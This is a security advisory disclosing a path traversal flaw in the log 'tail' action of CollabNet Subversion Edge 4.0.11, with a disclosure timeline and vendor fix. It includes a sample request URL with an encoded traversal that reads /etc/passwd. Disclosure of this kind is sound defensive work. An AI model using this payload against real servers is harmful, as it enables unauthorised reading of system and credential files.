CollabNet Subversion Edge tail local file inclusion

# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management
# Frontend via logfile "fileName" parameter of the "tail" action
#
# Date: 28.06.2015
# Author: otr
# Software Link: https://www.open.collab.net/downloads/svnedge
# Vendor: CollabNet
# Version: 4.0.11
# Tested on: Fedora Linux
# Type: Local file inclusion
#
# Risk: Medium
# Status: public/fixed
# Fixed version: 5.0

Timeline:

2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure

Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "fileName" parameter of the "tail" action

Vulnerability:

        Sample URL:
                https://example.com:4434/csvn/log/tail?fileName=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&startIndex=0

Fix proposal:

Remove feature or santizes the fileName parameter so that no path traversals and
arbitrary file inclusions are possible.

Vendor fix:

[...] now allow only showing hooks/logs within the intended directories.